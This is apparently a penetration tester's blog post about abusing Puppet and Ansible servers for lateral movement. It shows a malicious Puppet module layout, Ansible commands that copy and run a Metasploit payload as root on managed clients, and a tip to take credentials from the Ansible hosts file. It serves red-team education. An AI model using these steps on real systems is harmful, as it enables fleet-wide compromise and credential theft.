Enterprise Offense: IT Operations [Part 1] - Post-Exploitation of Puppet and Ansible Servers

Introduction

Confusion generally prevails while hacking an infrastructure that is not integrated with Active directory. Lateral movement is generally dependent on password spraying and common vulnerability availability. This blog will touch upon IT Operators tools - Puppet and Ansible - that is used to automate the process of managing these non-domain systems as well as cover the topic on how a hacker (or pentester) could utilize these tools to laterally move in the environment.

Thanks to bitvijays for his help to make me understand the working of Puppet. :)

Non - Active Directory Infrastructure and Hypervisors

Before we begin, I would like to bring something funny that I noticed almost in every client that I have been to while testing on the Non-Active Directory Infrastructure. I would say that a non-AD infra becomes fairly simple to compromise if you have access to the active directory and the domain administrator. And the key to this is the hypervisors. No matter how isolated the infrastructure requirement has been, I have always noticed people hosting them on a hypervisor that is actually connected to the domain. FAIL!

Puppet Infrastructure

Puppet is a pull type configuration managing service. What I mean by this is, there is a Puppet Server where the administrator creates configurations and the Puppet clients pull this configurational change and execute on their respective systems. This would mean that an administrator would either need to manually do it on every system after implementing a change or run a scheduled task on puppet clients to sync with the server.
Below is a small diagramatic representation of a Puppet infrastructure.

Directory structure of Puppet

Puppet Server generally has its configurations saved in /etc/puppet/code/

1
2
3
4
5
6
7
8
9
10
11

/etc/puppet/code\
	|- environment\
		|- production\
			|- manifest\
			|	|- site.pp
			|- modules\
			|	|- module_name\
			|	|	|- files\
			|	|	|	|- <files to be deployed>
			|	|	|- manifests\
			|	|	|	|- init.pp

Puppet for Hackers - pwnpet.sh

During the reconnaisance phase, the attacker can identify the puppet server from any of the puppet clients by looking into /etc/puppet/puppet.conf

Assuming you have access to the Puppet server, below would be the tutorial that would be helpful in pwning the puppet servers.
I have built an automated script to push malicious metasploit code to the puppet agents. The code is available at Random-Hacking-Scripts/pwnpet.sh
What this script basically does is, it creates output folder with 2 folders in it

1
2
3
4
5
6
7
8
9

output_folder\
|- manifests\
|	|- site.pp
|- modules\
|	|- my_file\
|	|	|- files\
|	|	|	|- payload
|	|	|- manifests\
|	|	|	|- init.pp

Now, all that is required to be done is to take the my_file folder and add the entire folder into /etc/puppet/code/environment/production/modules/ directory. Also, we would need to include my_file in /etc/puppet/code/environment/production/manifests/site.pp

1
2
3

node 'puppetclient' {
	include my_file
}

Remember to include my_file in every node that you would like to obtain a metaspoit session on.
Now all you need to do is wait on the terminal running metasploit (that was open during the execution of pwnpet.sh)

I have made a small video demonstration of running this script on the below architecture

Here is a video demonstration of the script -

Ansible Infrastructure

Ansible on the other hand is a Push type configuration managing service. This means, an administrator can login into the Ansible server and push new configurations out to the Ansible clients.
Below is a small diagramatic representation of an Ansible infrastructure.

Fun Fact:

Check the ansible hosts file in the server at /etc/ansible/hosts, you will get information regarding all the servers managed by that server along with either their ssh keys or their passwords. You really don’t need to deploy metasploit payloads using ansible server then.

Ansible for Hackers - pwnsible.sh

Using ansible to propagate is quite simple. All you need to do is, create a metasploit payload using msfvenom (let us call it payload.file) and save it on /etc/ansible/ folder on the Ansible Server. After this, you’ll need to run the following 3 commands on the Ansible server -

1
2
3

root@ansibleserver$ ansible <ansibleclient> -m copy -a "src=/etc/ansible/payload.file  dest=/tmp/" -u root
root@ansibleserver$ ansible <ansibleclient> -m shell -a "chmod +x /tmp/payload.file" -u root
root@ansibleserver$ ansible <ansibleclient> -m shell -a "/tmp/payload.file"

I have however, created an automated script for ansible pwnage for easier usage which is available at Random-Hacking-Scripts/pwnsible.sh

Clean up

pwnpet.sh

Puppet server

• From /etc/puppet/code/environment/production/manifests/site.pp edit and remove “include my_file”
• From /etc/puppet/code/environment/production/modules/ remove the folder “my_file”

Puppet client

• After you get the meterpreter session, make sure you delete the file at /tmp/payload

pwnsible.sh

Ansible Server

• Delete the file saved in /etc/ansible/payload.file

Ansible Client

• Delete the file at /tmp/payload.file

  1	root@ansibleserver$ ansible <ansibleclient> -m shell -a "rm /tmp/payload.file"